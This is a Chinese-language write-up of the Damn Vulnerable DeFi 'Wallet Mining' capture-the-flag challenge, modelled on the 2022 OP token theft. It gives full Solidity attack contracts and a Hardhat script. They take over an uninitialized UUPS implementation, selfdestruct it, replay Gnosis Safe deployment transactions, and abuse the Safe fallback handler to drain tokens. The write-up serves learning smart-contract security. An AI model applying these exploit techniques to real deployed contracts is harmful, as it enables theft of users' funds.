有一个合约激励用户部署Gnosis Safe钱包,并奖励他们1个DVT代币。它与可升级的授权机制集成。这样可以确保只有被允许的部署者(也称为照管人)才会因特定的部署而获得报酬。需要注意的是,系统的某些部分已经被匿名CT大师高度优化。
部署者合约只能与官方的Gnosis Safe工厂合约(地址为0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B)和相应的主合约(地址为0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F)配合使用。不过不清楚它应该如何工作——这些合约尚未在该链上部署。
与此同时,似乎有人将2000万个DVT代币转移到了地址0x9b6fb606a9f5789444c17768c6dfcf2f83563801。这个地址已经被授权合约的一个照管人使用。奇怪的是,因为这个地址也是空的。
通过获取钱包部署者合约持有的所有代币来完成挑战。哦,还有那2000万个DVT代币。
其实这次挑战的背景是在22年6月份$OP被盗有关。下面这篇把背景知识和结果分析不错的文章:
为了从本地区块链上重现0x9b6fb606a9f5789444c17768c6dfcf2f83563801地址。我们只需要重现这个地址的创建流程,这是以太坊区块链浏览器上的记录。 目标地址是通过ProxyFactory产生的。而ProxyFactory是Safe: Deployer 3 0x1aa7451DD11b8cb16AC089ED7fE05eFa00100A6A创建的。按区块链上的的记录第一笔创建Create: GnosisSafe钱包逻辑合约,第二笔其实随意(保证none累加即可),第三笔创建Create: ProxyFactory代理工厂合约。然后在ProxyFactory连续创建43次就可以创建目标地址的合约了。
题目中要求使用WalletDeployer.sol的drop方法创建钱包,在drop创建的逻辑中有个调用can的断言逻辑。can中是assembly代码。
第1句中的sload(0),其实是mom变量才使用了插槽。因为合约前面的变量要么是constant(固定值直接写死在代码中),要么是immutable(构造函数中确认了值写死在代码中)。
第5句中的0x4538c4eb其实是AuthorizerUpgradeable.sol中的can(address, address)
的函数选择器字符串,这里是为下面staticcall调用传参准备的。
第8句就是使用staticcall调用AuthorizerUpgradeable.sol中的can(address, address)
方法。
回头看can中的断言逻辑在部署的时候就设置了固定值,攻击者无法通过断言。观察发现AuthorizerUpgradeable.sol使用了UUPS模式,如果想办法更换实现逻辑合约地址呢? AuthorizerUpgradea在部署的时候调用init方法,init方法中的__Ownable_init()逻辑设置了调用中获取所有权,init方法中使用了initializer修饰器只允许调用一次,好像这样也行不通。
为了通过WalletDeployer.sol中的can断言,其实解决方案是,AuthorizerUpgradeable.sol使用了UUPS模式,所以可以通过UUPS源码中的_IMPLEMENTATION_SLOT的slot中找到0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc的逻辑合约地址。找到逻辑合约地址后通过调用AuthorizerUpgradeable.sol,init方法获得所有权,前面为什么说不可以再调用init,这里又可以呢?因为前面的initializer修饰器的状态其实保存在UUPS代理合约中,而逻辑合约中的状态是最初的,所以可正常执行。获得所有权后可以调用upgradeToAndCall( address imp, bytes memory wat)
方法。新的逻辑地址内容是selfdestruct(payable(address(0)));
wat参数是通过delegatecall
方式调用的,这样就把新的AuthorizerUpgradeable.sol逻辑合约地址摧毁了,也可以通过AuthorizerUpgradeable.sol中的can
中断言了。
使用WalletDeployer.sol的drop方法创建钱包,参数setup(address[],uint256,address,bytes,address,address,uint256,address)
中的第5个参数是地址类型,也就是fallbackHandler,代码在这里 这个参数代表当被调用的方法没有匹配的时候会触发fallback()方法,在该方法的逻辑是fallbackHandler.call 代码在这里。所以我们可以传递该参数为token的地址,这样可以直接调用IERC20(depositAddress).transfer(msg.sender,token.balanceOf(depositAddress)
转移题目中2000万个DVT代币。
为什么要分三个智能合约完成挑战呢?
因为执行selfdestruct(payable(address(0)));自销毁要等交易完成后才能生效了
创建AuthorizerUpgradeableWithUpgradeToAndCall.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {AuthorizerUpgradeable} from "./AuthorizerUpgradeable.sol";
import "./Killme.sol";
/**
* @title AuthorizerUpgradeable
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
//is UUPSUpgradeable
contract AuthorizerUpgradeableWithUpgradeToAndCall {
AuthorizerUpgradeable public authorizerUpgradeableImplementation;
constructor(address authorizerUpgradeableImplementationAddress) {
authorizerUpgradeableImplementation = AuthorizerUpgradeable(
authorizerUpgradeableImplementationAddress
);
upgradeToAndCallWithKillme();
}
function upgradeToAndCallWithKillme() public {
address[] memory wards = new address[](0);
authorizerUpgradeableImplementation.init(wards, wards);
Killme killme = new Killme();
authorizerUpgradeableImplementation.upgradeToAndCall(
address(killme),
abi.encodeWithSignature("killme()")
);
}
}
创建Killme.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title AuthorizerUpgradeable
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
//is UUPSUpgradeable
contract Killme {
function killme() public {
selfdestruct(payable(address(0)));
}
function proxiableUUID() external view returns (bytes32) {
return
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
}
}
创建AttackWalletMining.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "hardhat/console.sol";
import {AuthorizerUpgradeable} from "./AuthorizerUpgradeable.sol";
import {WalletDeployer} from "./WalletDeployer.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract AttackWalletMining {
WalletDeployer public walletDeployer;
address public depositAddress;
IERC20 public token;
address fakeAuthorizerUpgradeableAddress;
constructor(
address walletDeployerAddress,
address _depositAddress,
address tokenAddress
) {
walletDeployer = WalletDeployer(walletDeployerAddress);
depositAddress = _depositAddress;
token = IERC20(tokenAddress);
}
function attack() public {
address[] memory _owners = new address[](1);
_owners[0] = msg.sender;
bytes memory setupData = abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
_owners,
1,
address(0),
0,
address(token), //fallbackHandler 如果safe wallet没有被调用的方法,那么尝试调用这个地址
address(0),
0,
address(0)
);
for (uint256 index = 0; index < 100; ) {
address walletAddress = walletDeployer.drop(setupData);
if (walletAddress == depositAddress) {
break;
}
unchecked {
index++;
}
}
token.transfer(msg.sender, token.balanceOf(address(this)));
//safe wallet没有transfer方法,那么就会触发fallback(),fallback()方法中实现了fallbackHandler.call逻辑,因为在setup设置了fallbackHandler的地址是token address,所以实际调用的就是tokenAddress.transfer方法。
IERC20(depositAddress).transfer(
msg.sender,
token.balanceOf(depositAddress)
);
}
}
wallet-mining.challenge.js
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
//给Safe: Deployer 3地址转账1ETH作为gas,不然下面3笔交易因为没有gas导致失败
await player.sendTransaction({
from: player.address,
to: "0x1aa7451DD11b8cb16AC089ED7fE05eFa00100A6A",
value: ethers.utils.parseEther("1"),
});
await (await ethers.provider.sendTransaction(DEPLOY_SAFE_TX)).wait(); //https://etherscan.io/getRawTx?tx=0x06d2fa464546e99d2147e1fc997ddb624cec9c8c5e25a050cc381ee8a384eed3
await (await ethers.provider.sendTransaction(DEPLOY_UPGRADE_TX)).wait(); //https://etherscan.io/getRawTx?tx=0x31ae8a26075d0f18b81d3abe2ad8aeca8816c97aff87728f2b10af0241e9b3d4
await (await ethers.provider.sendTransaction(DEPLOY_FACTORY_TX)).wait(); //https://etherscan.io/getRawTx?tx=0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261
const impSlot = "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"; //这是UUPS合约中执行合约地址的slot插槽 具体看UUPS合约代码吧
let implementationAddress = "0x" + (await ethers.provider.getStorageAt(authorizer.address, impSlot)).slice(-40); //组装地址
const authorizerUpgradeableWithUpgradeToAndCallFoctroy = await ethers.getContractFactory("AuthorizerUpgradeableWithUpgradeToAndCall", player);
await authorizerUpgradeableWithUpgradeToAndCallFoctroy.deploy(implementationAddress);
const attackFoctory = await ethers.getContractFactory("AttackWalletMining", player);
const attackContact = await attackFoctory.deploy(
walletDeployer.address,
DEPOSIT_ADDRESS,
token.address
);
attackContact.connect(player).attack()
});